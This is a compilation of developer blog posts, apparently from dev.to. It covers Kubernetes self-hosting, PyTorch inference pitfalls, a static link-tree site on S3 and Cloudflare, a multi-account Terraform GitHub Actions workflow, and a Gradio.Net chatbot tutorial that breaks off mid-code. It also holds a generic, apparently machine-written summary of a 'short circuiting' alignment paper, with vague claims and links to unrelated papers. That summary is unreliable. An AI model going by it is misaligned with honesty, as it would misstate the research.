Additionally, the researchers could have compared their approach to other recent developments in 3D city generation, such as [RealMDreamer](https://aimodels.fyi/papers/arxiv/realmdreamer-text-driven-3d-scene-generation-inpainting), [DreamScene](https://aimodels.fyi/papers/arxiv/dreamscene-3d-gaussian-based-text-to-3d), or [StyleCity](https://aimodels.fyi/papers/arxiv/stylecity-large-scale-3d-urban-scenes-stylization), to provide a more comprehensive understanding of the state of the art in this field.
## Conclusion
The researchers have developed [CityDreamer](https://aimodels.fyi/papers/arxiv/urban-architect-steerable-3d-urban-scene-generation), a compositional generative model that addresses the challenges of 3D city generation. By breaking down the task into building instances and background stuff, the system is able to generate more realistic and diverse 3D cities.
The contribution of the [CityGen Datasets](https://aimodels.fyi/papers/arxiv/grounded-compositional-diverse-text-to-3d-pretrained), which includes a vast amount of real-world city imagery, is also a valuable addition that can help advance the field of 3D city generation. While the researchers have made significant progress, there are still opportunities for further exploration and improvement, such as addressing the generation of cities with unique architectural styles or cultural influences.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,678 | Improving Alignment and Robustness with Short Circuiting | Improving Alignment and Robustness with Short Circuiting | 0 | 2024-06-09T01:28:07 | https://aimodels.fyi/papers/arxiv/improving-alignment-robustness-short-circuiting | machinelearning, ai, beginners, datascience | *This is a Plain English Papers summary of a research paper called [Improving Alignment and Robustness with Short Circuiting](https://aimodels.fyi/papers/arxiv/improving-alignment-robustness-short-circuiting). If you like these kinds of analysis, you should subscribe to the [AImodels.fyi newsletter](https://aimodels.substack.com) or follow me on [Twitter](https://twitter.com/mikeyoung44).*
## Overview
- The paper presents a technique called "short circuiting" to improve the alignment and robustness of neural networks.
- Short circuiting is a method that allows a neural network to bypass part of its own computation, potentially making it more aligned with desired objectives and more robust to certain types of adversarial attacks.
- The authors conduct experiments to evaluate the effectiveness of short circuiting in improving alignment and robustness across different neural network architectures and tasks.
## Plain English Explanation
The researchers have developed a new technique called "short circuiting" that can help make neural networks more reliable and trustworthy. Neural networks are a type of artificial intelligence that are inspired by the human brain, and they are used for all sorts of tasks like image recognition, language processing, and decision-making.
One of the challenges with neural networks is that they can sometimes behave in unexpected or undesirable ways, especially when faced with adversarial attacks - situations where someone tries to trick the network into making mistakes. The short circuiting technique aims to address this by allowing the network to bypass certain parts of its own decision-making process when it's not confident about the input it's receiving.
By doing this, the network can become more "aligned" with the intended objectives, meaning it's more likely to do what we want it to do. It can also make the network more "robust," or resistant to being fooled by adversarial attacks. The researchers ran a number of experiments to test how well short circuiting works, and they found that it can significantly improve a neural network's performance and reliability in different scenarios.
This work is important because as AI systems become more powerful and integrated into our lives, it's crucial that we can trust them to behave in a safe and predictable way. Techniques like short circuiting could help us get one step closer to that goal.
## Technical Explanation
The paper introduces a novel technique called "short circuiting" to improve the alignment and robustness of neural networks. [Short circuiting is a method that allows a neural network to bypass part of its own computation, potentially making it more aligned with desired objectives and more robust to certain types of adversarial attacks.](https://aimodels.fyi/papers/arxiv/are-aligned-neural-networks-adversarially-aligned)
The authors conduct experiments to evaluate the effectiveness of short circuiting across different neural network architectures and tasks. They find that short circuiting can significantly improve a network's performance and reliability, making it more aligned with intended objectives and more robust to adversarial attacks.
[The authors note that as AI systems become more powerful and integrated into our lives, it's crucial that we can trust them to behave in a safe and predictable way. Techniques like short circuiting could help us get one step closer to that goal.](https://aimodels.fyi/papers/arxiv/robustifying-safety-aligned-large-language-models-through)
## Critical Analysis
The paper provides a well-designed and thorough evaluation of the short circuiting technique, exploring its impact on alignment and robustness across a range of neural network architectures and tasks. However, the authors acknowledge that the technique may have certain limitations or caveats.
[For example, the short circuiting mechanism could potentially be vulnerable to adversarial attacks specifically targeting the bypass mechanism.](https://aimodels.fyi/papers/arxiv/image-hijacks-adversarial-images-can-control-generative) Additionally, the authors note that the optimal implementation of short circuiting may depend on the specific neural network and task at hand, requiring further research to fully understand its capabilities and limitations.
[It would also be valuable to investigate how short circuiting interacts with other techniques for improving AI robustness and alignment, such as those explored in related research](https://aimodels.fyi/papers/arxiv/humanizing-machine-generated-content-evading-ai-text). Overall, the paper presents a promising approach, but more work is needed to fully assess its potential and limitations in real-world AI systems.
## Conclusion
The paper introduces a novel technique called "short circuiting" that can improve the alignment and robustness of neural networks. The authors demonstrate through extensive experiments that short circuiting can significantly enhance a network's performance and reliability, making it more aligned with intended objectives and more resistant to adversarial attacks.
[This work is an important step towards developing AI systems that are more trustworthy and behave in a safe and predictable manner, which is crucial as AI becomes increasingly integrated into our lives.](https://aimodels.fyi/papers/arxiv/adversarial-attacks-defenses-automated-control-systems-comprehensive) While the technique shows promise, further research is needed to fully understand its capabilities and limitations, as well as how it can be combined with other approaches to improve AI alignment and robustness.
**If you enjoyed this summary, consider subscribing to the [AImodels.fyi newsletter](https://aimodels.substack.com) or following me on [Twitter](https://twitter.com/mikeyoung44) for more AI and machine learning content.** | mikeyoung44 |
1,881,673 | Getting my feet wet with Kubernetes | Recently, I’ve spent some time playing around with Kubernetes (K8s). Having never used it before, I... | 0 | 2024-06-09T01:12:19 | https://dev.to/brahms116/getting-my-feet-wet-with-kubernetes-1eid | kubernetes, devops, haskell |
Recently, I’ve spent some time playing around with [Kubernetes (K8s)](https://kubernetes.io/). Having never used it before, I gave it my humble first try. I used it as part of a project where I wanted to use self host some tools on a VPS and write some server code for some life automations and potentially a blog in the future. You can find the Github Repo for the project at the time of writing for it [here](https://github.com/brahms116/pastureen-h/blob/adc7b7ea8b717894e9c798138c19021fd5a24d87/README.md?plain=1#L1).
Did I need to use K8s? Nope. Should I have used K8s? Probably not. My situation and setup really doesn’t call for K8s nor does the full brilliance of K8s really shine in my project. But hey! I thought it was a good way to for me to learn a little about K8s, and some of the fundamentals terminologies like ingress, services, deployments, pvs and pvcs etc.
## Environments overview
This is how I ended up setting stuff up. I had three environments, which I wanted to make them as similar to each other as possible. For each environment, I have a K8 namespace…
- `pastureen-production` for production
- `pastureen-local` for local development
- `pastureen-test` for my local test environment
Whilst the production namespace ran on the production VPS server running a [MicroK8](https://microk8s.io/) single node cluster, the other 2 namespaces ran on my laptop using the K8 engine which comes with docker desktop.
Inside each namespace, there are K8 services pointing to self hosted tools (at this point, I’ve only got [NocoDB](https://nocodb.com/) setup). Each namespace also has a Postgres database. The database is hostpath storage mounted since I am only using single node clusters and also didn’t have time to look too much into “Stateful Sets” and how to correctly host a database within a K8 cluster.
In the production cluster I will have an API server (this doesn’t actually exist yet at the time of writing) and some cron jobs which run my automated tasks.
On my local namespaces however, instead of an API server, I setup a development container as a service in k8s with the local project files mounted as a volume in the pod. This meant that for local development I can use `kube exec -it` to run commands and tests inside the pods which are connected with the rest of the services in the k8 namespace whilst still editing the source files from my editor.
## Managing K8 resources and how it all deploys
I decided to use [Terraform](https://www.terraform.io/) to manage my K8 resources. I know that there are probably better ways of doing this (like [Argo CD](https://argo-cd.readthedocs.io/en/stable/) or [Flux CD](https://fluxcd.io/)), but I ended up settling with Terraform as I was already familiar with the tool and it allowed me to achieve the goal of trying out K8s without being bogged down too much on the deployment process.
Having said that, not everything is managed by a single Terraform project as there are dependencies which are required between resources (like for e.g. NocoDB requires a Postgres database connection, and we need to create a logical database for NocoDB inside our physical Postgres instance).
I don’t have an automated pipeline just yet. Its part manual, part scripted. But the steps and order of things are established.
The pipeline first involves setting up the K8 namespaces and configuring the secrets which are required. I currently do this manually as the secrets are manually configured by editing with Kubectl. Eventually this can be part of a Terraform project, but I still need to figure out how to source the secrets inside the Terraform project, maybe I can reference an AWS SSM parameter value here…
Next step involves building the required docker images referenced by the Terraform projects further down the pipeline. I kinda use a manual multi stage build process. I first build the binaries using the dev container, because its mounted with the cache and previous build artifacts. Then I copy the output binaries into a new docker image and push it up as the production image. You can see the details of this in the README [here](https://github.com/brahms116/pastureen-h/blob/adc7b7ea8b717894e9c798138c19021fd5a24d87/docker/README.md?plain=1#L1).
The next 3 steps I’ve got covered in a Haskell script [here](https://github.com/brahms116/pastureen-h/blob/adc7b7ea8b717894e9c798138c19021fd5a24d87/util-scripts/src/Pipeline.hs#L1). The script pretty much..
1. Deploys the database terraform project which sets up the postgres db inside the cluster
2. Looks inside the postgres db and determines if any more logical databases need to be created.
3. Runs a custom simple db migration system to ensure that all necessary db migrations are executed
4. Deploys the rest of the K8 resources like the dev containers, cron jobs, NocoDB e.g. which rely on the database
May cover the details of the script in another post.
## My feelings and what I’ve learnt
In this endeavor, I definitely got the chance to expose myself to the world of K8s. I also think I managed to come up with a setup developing locally with K8s and Haskell which worked quite well.
Looking back though, I can definitely see how K8s are an absolute overkill for the project. In some ways it made life harder rather easier. One of the pain points for me was cluster storage and volume mounts. Compared with docker compose, where a volume mount can be specified by a single line of yaml to a host path, K8s work best when persistent volumes are dynamically allocated and assigned. At one point in the project I had a multi-node setup with Longhorn as a persistent storage solution and the developer experience was so much better (had to ditch the multi node setup due to cost considerations however). There’s this mental model where its the responsibility of the cluster administrator to setup the cluster storage solution and all the application developer needs to do was to issue a “pvc”. Maybe its my own stubbornness in wanting to always map it to a hostpath location where I know my files are being stored, but also its probably the case that I am running a single node cluster. If it was a multi-node cluster, I can see why the complexity around persistent storage is definitely a must.
Another unfamiliarity and challenge for me was K8s ingress. I decided to use [Traefik as a Helm Chart](https://github.com/traefik/traefik-helm-chart) as my ingress controller. I think it was a challenge for me because both technologies were unfamiliar, setting it up and trying to make sense of an overwhelming amount of configuration was a bit of a stab in the dark. One major snag for me was the idea that a “LoadBalancer” service in K8s is provisioned and managed by the cloud provider hosting the cluster and doesn’t work right out of the box on a MicroK8 cluster (It did work out of the box on docker desktop, which made it real confusing). I ended up setting up Traefik as a “NodePort” service and hacking the cluster config to allow it to be open on ports 80 and 443 [here](https://github.com/brahms116/pastureen-h/blob/adc7b7ea8b717894e9c798138c19021fd5a24d87/infrastructure/modules/application/traefik.tf#L61). Again if I had used K8s as a multi-node orchestrator with a cloud provider like the way it was designed to be used, maybe I wouldn’t have faced so many challenges.
In hindsight, I probably would’ve benefited from learning K8s in a different environment and in a context in which the tool really shined. But again, these contexts are almost impossible to come-by as a hobbyist so ehh. Regarding the needs of project in specific though, I probably should’ve went with just using Terraform to provision docker containers on the VPS and locally instead, might have made my life a lot more straight forward. At the end, its all about trade-offs…
- To learn less and make life a lot more smoother with quicker project progress
- OR; Learn more, but potentially hit many road blocks, stressful problems and very slow progress.
That’s something definitely to think about.⏎
| brahms116 |
1,881,672 | Common Pitfalls in Machine Learning Model Inference for Beginners and How to Solve Them | When training machine learning models and applying them to inference tasks, it's not uncommon to... | 0 | 2024-06-09T01:10:50 | https://dev.to/suzuki0430/common-pitfalls-in-machine-learning-model-inference-for-beginners-and-how-to-solve-them-1im7 | machinelearning, beginners, python, ai | When training machine learning models and applying them to inference tasks, it's not uncommon to encounter issues, especially when switching computing environments (e.g., training on a GPU and inferring on a CPU). This often results in unstable predictions, such as alternating between two classes (0 and 1).
Here, I'll briefly summarize the issues I encountered and how I resolved them.
## 1. Model Loading Mistake
I built an inference endpoint on a CPU (`ml.m5.large`) and found that the model, which was trained on a GPU (`g4dn.2xlarge`), did not produce the expected inference results.
Upon checking the logs, I encountered the following warning:
```
2024-04-25T05:47:04,365 [WARN ] W-9000-model_1.0-stderr MODEL_LOG - Some weights of the model checkpoint at /opt/ml/model/code/pytorch_model.bin were not used when initializing BertModel...
```
This issue occurred when I attempted to directly load the `pytorch_model.bin` file, which was output from the fine-tuned `PredictionModel`, using `BertModel.from_pretrained`. The `BertModel.from_pretrained` method assumes the structure of the basic BERT model, thus it neglected the parameters of the LSTM and linear layers added to the `PredictionModel`, resulting in important parameters being overlooked.
```python
pretrained_config = path.join("/opt/ml/model/code/", "config.json")
pretrained_model = path.join("/opt/ml/model/code/", "pytorch_model.bin")
config = BertConfig.from_pretrained(pretrained_config)
model = PredictionModel(config=config, pretrained_model=pretrained_model)
```
The issue was resolved by properly loading the state from the `fine_tuning_model.pt`, which contained all the parameters of the model:
```python
model = PredictionModel(config=config, pretrained_model=None)
model_path = path.join("/opt/ml/model/code/", "fine_tuning_model.pt")
model.load_state_dict(torch.load(model_path))
```
## 2. Device Assignment for the Model
The model was initially set to use a CUDA device by default, which led to errors in an environment not supporting CUDA.
```
2024-04-28T06:59:31,905 [INFO ] W-9001-model_1.0-stdout MODEL_LOG - Exception in model fn Attempting to deserialize object on a CUDA device but torch.cuda.is_available() is False...
```
In an environment with only CPUs, it was necessary to appropriately assign the model to the correct device:
```python
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
model.to(device)
```
## 3. Disabling Gradient Calculations
During inference, it is recommended to disable gradient calculations when model input data is provided as tensors. While I believe this had no effect on the inference results, failing to do so led to unnecessary memory use and increased computation time.
```python
with torch.no_grad():
model_input = torch.tensor([preprocessed_data.getitem()], dtype=torch.long).to(device)
model_output = model(model_input)
```
## Conclusion
Successfully transitioning from training to inference requires addressing key challenges like model loading, device compatibility, and efficient resource management. These solutions ensure more accurate and efficient machine learning applications. | suzuki0430 |
1,881,671 | Implementando seu próprio link tree | Os tempos mudaram. Antigamente, bastava ter um perfil atualizado no LinkedIn para receber várias... | 0 | 2024-06-09T01:06:30 | https://dev.to/erick_tmr/implementando-seu-proprio-link-tree-2hij | webdev, javascript, beginners, portfolio | Os tempos mudaram. Antigamente, bastava ter um perfil atualizado no LinkedIn para receber várias propostas de emprego como desenvolvedor de software. Nosso mercado mudou da água pro vinho pós colapso da pandemia. As empresas estão muito mais exigentes com relação aos seus candidatos e a concorrência está cada vez mais intensa.
Não quero assustar ninguém, mas sim ressaltar a importância da **presença online**, não só como “marketing” pessoal, mas também como portfólio mesmo. Ter algo para mostrar, como um blog, um site próprio, repositórios profissionais, é quase que requerimento, não um diferencial.
Com isso em mente, decidi criar uma página pessoal no formato *link tree* para aprender um pouco sobre serviços de CDN, deploy contínuo (CI/CD) e também permissionamento cross plataforma (OAuth, OIDC), e é sobre esse projetinho que quero conversar um pouco.
## Arquitetura e stack
O projeto em si é simples, pois o foco era aprender mais sobre certas tecnologias, mas mesmo assim vale destacar um pouco cada caixinha do diagrama acima.
### Componentes
- Hospedagem de arquivos estáticos no AWS S3
- Repositório público no Github (https://github.com/erick-tmr/link-in-bio-self-profile)
- Github Actions como pipeline de deploy
- Cloudflare para CDN / Proxy Reverso
- Autenticação via OIDC com tokens short lived para uso no AWS CLI
- Gravatar como CMS
### Sobre o código
Utilizei como base este [template](https://github.com/mackenly/quickbiolinks/blob/master/templates/simple-gravatar-dynamic/README.md), que é open source e já possui uma integração interessante de CMS (Gravatar). Do template, acabei não mudando muitas coisas, a mudança mais notável foi na utilização de modules e import maps, uma funcionalidade nativa de navegadores modernos, que acabou englobando uma fatia dos bundlers como Webpack, praticamente tornando dispensável sua utilização em projetos mais simples, como este.
Quem der uma olhada no repositório deste projeto vai ver que utilizei uma lib externa para fazer o MD5 de uma string, tudo com import maps, direto do CDN da NPM.
Pra quem ainda não experimentou, diria que é uma inovação bem legal e que vale a pena dar uma olhada, [link](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap) para as docs da MDN.
## CI / CD e automação de deploy
Para o CI / CD, optei pelo Github Actions, por ser gratuito para projetos open source e ser bem prático.
O pipeline é simples, utilizando uma action da própria AWS para fazer a autenticação, é gerado um token de curta duração para assumir uma Role do IAM já pré configurada com as permissões necessárias para poder fazer o sync com um bucket do S3.
Trabalho no time de segurança da empresa onde estou atualmente, lidando diariamente com mTLS, OAuth, OpenID Connect, etc. Acabei testando essa solução mais por questões de benchmark, mas foi um aprendizado bem interessante, particularmente acho bem legal poder trabalhar num *business context* que, de certa forma, é agnóstico da empresa que você está no momento.
## Hospedagem S3
Como o site é simples e consiste somente de alguns arquivos estáticos, optei pelo S3 para armazenar e distribuir os arquivos. Para quem não conhece, o S3 possui uma funcionalidade nativa para transformar determinado bucket em um site estático, expondo assim uma URL pública para que as pessoas tenham acesso ao bucket, tendo também um free tier bem legal.
Um adendo aqui foi a parte de permissionamento, sofri um pouco para conseguir configurar as policies necessárias para que o bucket se tornasse publico de fato, devido a querer restringir o acesso ao S3 somente a Cloudflare, que foi o serviço de CDN escolhido, mas depois de bater a cabeça um pouco acabou dando certo.
## CDN / Proxy Reverso
Aqui eu utilizei a Cloudflare mais por conta de querer experimentar algumas features que eu iria utilizar no meu trampo mesmo, mas talvez se não tivesse esse requisito, eu teria utilizado o próprio CloudFront da AWS.
Poderia simplesmente não utilizar nenhum CDN e apontar meu DNS diretamente para a URL pública do meu bucket, porém, existe uma restrição do S3 em que não é possível utilizar TLS / HTTPS, sendo assim, pra ter uma proteção mais legal, o uso de algum CDN na frente se torna indispensável.
A Cloudflare proporciona não só o serviço de CDN como proteção a ataques DDoS, certificados SSL, cache inteligente e mais, tudo no plano gratuito, o que é algo bem legal. A feature que eu gostaria de testar mesmo, o mTLS, acabou não rolando, o avoado que vôs fala não verificou antes que esta feature está presente somente em planos enterprise.
## Concluindo
Sobre o projeto, é isso! No futuro, pretendo escrever um post mais detalhado, com cara de tutorial, ensinando passo a passo cada etapa desse processo. Se você ficou interessado e quer ver essa parte dois, deixe um comentário ou mande um sinal de fumaça haha. | erick_tmr |
1,881,670 | Github Actions — Terraform — CI/CD Multiple Accounts AWS | Terraform - Multiple AWS Accounts This repository contains a GitHub Actions workflow for... | 0 | 2024-06-09T01:02:48 | https://dev.to/alerabello/github-actions-terraform-cicd-multiple-accounts-aws-1ek4 | devops, aws, githubactions | # Terraform - Multiple AWS Accounts
This repository contains a GitHub Actions workflow for managing Terraform deployments across multiple AWS accounts. The workflow allows for planning, manual approval, and applying or destroying Terraform configurations.
## Workflow: Terraform Plan, Approval, and Deploy
### Workflow Dispatch Inputs
- **action**: Specifies the action to perform (`apply` or `destroy`). Default is `apply`.
- **aws_account**: Specifies the AWS account to deploy to (`shared`, `network`, `production`, `stage`, `develop`).
- **terraform_version**: Specifies the version of Terraform to use. Default is `1.8.0`.
### Workflow Jobs
#### 1. Plan
- **Runs on**: `ubuntu-latest`
- **Permissions**:
- `actions: read`
- `issues: write`
- `id-token: write`
- `contents: write`
- **Timeout**: 5 minutes
- **Steps**:
- Checkout the code.
- Configure AWS credentials based on the selected AWS account.
- Install and run `tflint` for linting Terraform files.
- Setup Terraform with the specified version.
- Initialize Terraform.
- Plan Terraform changes and save the plan.
- Cache Terraform files.
- Upload the Terraform plan as an artifact.
#### 2. Approval
- **Needs**: `plan`
- **Runs on**: `ubuntu-latest`
- **Permissions**:
- `actions: read`
- `issues: write`
- `id-token: write`
- `contents: write`
- **Steps**:
- Request manual approval from the specified approvers.
#### 3. Deploy
- **Needs**: `approval`
- **Runs on**: `ubuntu-latest`
- **Permissions**:
- `id-token: write`
- `contents: write`
- **Timeout**: 20 minutes
- **Steps**:
- Checkout the code.
- Configure AWS credentials based on the selected AWS account.
- Setup Terraform with the specified version.
- Download the Terraform plan artifact.
- Move the Terraform plan.
- Initialize Terraform.
- Apply or destroy the Terraform plan based on the specified action.
## Usage
To trigger the workflow, go to the Actions tab in your GitHub repository, select the `Terraform - Multiple AWS Accounts` workflow, and click on `Run workflow`. Fill in the required inputs and run the workflow.
## Secrets
The following secrets need to be configured in your GitHub repository:
- `AWS_ACCESS_KEY_ID`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ROLE_ARN_NETWORK`
- `AWS_ROLE_ARN_PROD`
- `AWS_ROLE_ARN_DEVELOP`
- `AWS_ROLE_ARN_STAGE`
- `GITHUB_TOKEN` (automatically provided by GitHub)
## Notes
- Ensure the roles specified in the AWS credentials have the necessary permissions to perform the Terraform actions.
- Modify the role ARNs and other configurations as per your AWS setup.
For more information on GitHub Actions and Terraform, refer to the [GitHub Actions documentation](https://docs.github.com/en/actions) and [Terraform documentation](https://www.terraform.io/docs).
---
Code : `deploy-to-terraform.yml `
---
```
name: Terraform - Multiple AWS Accounts
on:
workflow_dispatch:
inputs:
action:
description: 'Action to perform (apply or destroy)'
required: true
default: 'apply'
aws_account:
description: 'AWS Account to deploy to (shared, network, production, stage, develop)'
required: true
terraform_version:
description: 'Version of Terraform to use'
required: true
default: '1.8.0'
jobs:
plan:
runs-on: ubuntu-latest
permissions:
actions: read
issues: write
id-token: write # This is required for requesting the JWT
contents: write # This is required for actions/checkout
timeout-minutes: 5
steps:
- name: Checkout Code
uses: actions/checkout@v2
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'network' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_NETWORK }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'prod' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_PROD }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'stage' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_STAGE }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'develop' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_DEVELOP }}
aws-region: us-east-1
- name: Install TFLint
run: |
curl -L https://github.com/terraform-linters/tflint/releases/latest/download/tflint_linux_amd64.zip -o tflint.zip
unzip tflint.zip
sudo mv tflint /usr/local/bin/
rm tflint.zip
- name: Lint Terraform files
run: tflint
- name: Setup Terraform
uses: hashicorp/setup-terraform@v3
with:
terraform_version: ${{ github.event.inputs.terraform_version }}
env:
AWS_DEFAULT_REGION: us-east-1
- name: Initialize Terraform
run: terraform init -reconfigure
- name: Plan Terraform changes
run: terraform plan -out=tfplan
- name: Cache Terraform files
uses: actions/cache@v2
with:
path: |
.terraform
.terraform.lock.hcl
key: ${{ runner.os }}-terraform-${{ hashFiles('**/*.tf') }}
- name: Upload Terraform plan
uses: actions/upload-artifact@v2
with:
name: tfplan
path: tfplan
approval:
needs: plan
runs-on: ubuntu-latest
permissions:
actions: read
issues: write
id-token: write # This is required for requesting the JWT
contents: write # This is required for actions/checkout
steps:
- name: Request Manual Approval
uses: trstringer/manual-approval@v1
with:
secret: ${{ secrets.GITHUB_TOKEN }}
approvers: alerabello
minimum-approvals: 1
additional-approved-words: 'Approve, Approved, approve, approved'
timeout-minutes: 10
deploy:
needs: approval
runs-on: ubuntu-latest
permissions:
id-token: write # This is required for requesting the JWT
contents: write # This is required for actions/checkout
timeout-minutes: 20
steps:
- name: Checkout Code
uses: actions/checkout@v2
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'network' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_NETWORK }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'prod' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_PROD }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'stage' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_STAGE }}
aws-region: us-east-1
- name: Configure AWS Credentials
if: ${{ github.event.inputs.aws_account == 'develop' }}
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN_DEVELOP }}
aws-region: us-east-1
- name: Setup Terraform
uses: hashicorp/setup-terraform@v3
with:
terraform_version: ${{ github.event.inputs.terraform_version }}
- name: Download repository artifact
uses: actions/download-artifact@v2
with:
name: tfplan
path: ./tfplan
- name: Move Terraform plan
run: mv ./tfplan/tfplan ./tfplan.tfplan
- name: Initialize Terraform
run: terraform init -reconfigure
- name: Apply or Destroy Terraform
run: |
if [ "${{ github.event.inputs.action }}" == "apply" ]; then
terraform apply -auto-approve ./tfplan.tfplan
elif [ "${{ github.event.inputs.action }}" == "destroy" ]; then
terraform destroy -auto-approve
else
echo "Invalid action specified: ${{ github.event.inputs.action }}"
exit 1
fi
``` | alerabello |
1,881,668 | How to Build Your GPT Chatbot with .NET | Creating a chatbot in .NET is an exciting process that combines a powerful backend framework with a... | 0 | 2024-06-09T00:54:13 | https://dev.to/feiyun0112/how-to-build-your-gpt-chatbot-with-net-549d | dotnet, llm, ai, aspnet | Creating a chatbot in .NET is an exciting process that combines a powerful backend framework with a flexible frontend interface. Gradio.Net provides an ideal platform for building and deploying interactive chatbots that can have real-time conversations with users. This article will guide you on how to create a basic chatbot in .NET using Gradio.Net.
# Gradio.Net
[Gradio.Net](https://github.com/feiyun0112/Gradio.Net) is an open source .NET library. Gradio.Net provides a convenient way for developers to share their models. It provides a simple, user-friendly web interface to share LLM models with others anytime, anywhere. **The unique selling point of Gradio.Net is that it does not require developers to write Javascript, HTML, or CSS to build a web interface.** It provides some flexibility to add frontend code for customization. This makes developers with little frontend knowledge ideal for sharing their models with team members or audiences.
In order to build a web application for an LLM model, you need to be familiar with the basic layout components of Gradio.Net.
# Blocks layout component
Gradio.Net provides Blocks layout components that give you the flexibility to place components anywhere on the screen, as well as event handlers for interactive user experiences.
Here is a simple example of Blocks:
```
using (var blocks = gr.Blocks())
{
var name = gr.Textbox(label: "Name");
var output = gr.Textbox(label: "Output Box");
var btn = gr.Button("Greet");
btn.Click(fn: async (input)=> gr.Output($"Hello {input.Data[0]}!"), inputs: [name], outputs: [output]);
App.Launch(blocks);
}
```
- The “using” clause is required to define Blocks.
- The components in the using clause will be added to the web page.
- The components will be rendered vertically in the order defined.
- Use App.Launch to launch the app
#Azure OpenAI API
Before building the chat interface, we need to deploy the LLM model, and here we use the OpenAI service provided by Azure.
The Azure OpenAI service provides developers with a series of REST APIs, through which you can easily access OpenAI’s cutting-edge language models, such as GPT-4, GPT-3.5-Turbo, and embedded models. These APIs are jointly developed by Azure OpenAI and OpenAI, ensuring high compatibility with OpenAI services.
First, you need to register and log in to your account on the Azure official website.
Then, search for OpenAI in the Azure portal and go to its service page, and click the “Create” button to start creating the service.
Follow the on-screen instructions to fill in the necessary information, and click “Create” when you are finished, and your Azure OpenAI service will be successfully created.
For security and convenience reasons, it is recommended that you configure this information into environment variables, so that you can avoid repeatedly entering this information in the code.
# Build a chatbot
First, you need to set up your .NET development environment. This usually involves installing Visual Studio or other IDEs, as well as the .NET SDK. Once your development environment is ready, you can create a new Asp.NET Core project to lay the foundation for your chatbot.
Next, you need to install the Gradio.Net.AspNetCore library. This can be easily done through the NuGet package manager. After installing Gradio.Net in your project, you can start building the core functionality of the chatbot.
## Application front end
Gradio.Net has a pre-built chatbot component that can render a chat interface. We will also add a text box component that takes text input from the end user. This is all our front-end code:
```
using (var blocks = gr.Blocks())
{
var chatbot = gr.Chatbot();
var txt = gr.Textbox(placeholder:"Enter text and press enter");
App.Launch(blocks);
}
```
## Application backend
We have successfully built the front-end of the web application. Now, the remaining part is to make it operational. We need to define a function that returns a response:
```
static async IAsyncEnumerable<Output> GenerateResponse(Input input, Kernel kernel)
{
var userPrompt = Textbox.Payload(input.Data[0]);
var history = Chatbot.Payload(input.Data[1]);
history.Add(new ChatbotMessagePair(new ChatMessage { TextMessage = userPrompt }, new ChatMessage { TextMessage = "" }));
await foreach (var responseMessage in kernel.InvokePromptStreamingAsync<string>(userPrompt))
{
if (!string.IsNullOrEmpty(responseMessage))
{
history.Last().AiMessage.TextMessage += responseMessage;
yield return gr.Output("", history);
}
await Task.Delay(50);
}
}
```
Here, **userPormpt **represents the user’s input, and **history **is the conversation history saved inside the Chatbot component.
Next, we need to handle the enter event of the text box Submit to trigger this function:
```
txt.Submit(streamingFn: (input) => GenerateResponse(input, kernel), inputs: new Gradio.Net.Component[] { txt, chatbot }, outputs: new Gradio.Net.Component[] { txt, chatbot });
```
It is worth noting that we use the streamingFn parameter to handle the Submit event, which can start the streaming output mode of the component, thereby achieving a continuous typing effect similar to ChatGPT.
#Chat with LLM
In the **GenerateResponse** function, we used [Semantic Kernel](https://github.com/microsoft/semantic-kernel) (SK for short). SK is an open source software development kit that enables developers to quickly and easily incorporate the most advanced LLM technology into applications.
We need to add a NuGet package reference to Microsoft.SemanticKernel in the project and create a Kernel object instance.
```
string endpoint = Environment.GetEnvironmentVariable("AZURE_OPENAI_ENDPOINT");
string deploymentName = Environment.GetEnvironmentVariable("AZURE_OPENAI_GPT_NAME");
string apiKey = Environment.GetEnvironmentVariable("AZURE_OPENAI_API_KEY");
var kernel = Kernel.CreateBuilder()
.AddAzureOpenAIChatCompletion(
deploymentName: deploymentName,
endpoint: endpoint,
apiKey: apiKey)
.Build();
```
SK provides the “InvokePromptStreamingAsync” method, which is a dedicated function that allows you to specify input information (called “Prompt prompt” in LLM) and easily get results from the AI model:
```
kernel.InvokePromptStreamingAsync<string>(userPrompt)
```
When the user submits text, GenerateResponse takes the prompt and chatbot object as input, and the loop is responsible for sequentially presenting the text in the chatbot when receiving the text to improve the user experience.
# Conclusion
In this article, we have explored in detail how to build a fully functional chatbot using .NET technology.
Through the components of **Gradio.Net (https://github.com/feiyun0112/Gradio.Net)**, we can quickly build a chat interface, and through the streaming output mode, we can achieve a dynamic interactive effect similar to ChatGPT.
_All source code_
```
using Gradio.Net;
using Microsoft.SemanticKernel;
string endpoint = Environment.GetEnvironmentVariable("AZURE_OPENAI_ENDPOINT");
string deploymentName = Environment.GetEnvironmentVariable("AZURE_OPENAI_GPT_NAME");
string apiKey = Environment.GetEnvironmentVariable("AZURE_OPENAI_API_KEY");
var kernel = Kernel.CreateBuilder()
.AddAzureOpenAIChatCompletion(
deploymentName: deploymentName,
endpoint: endpoint,
apiKey: apiKey)
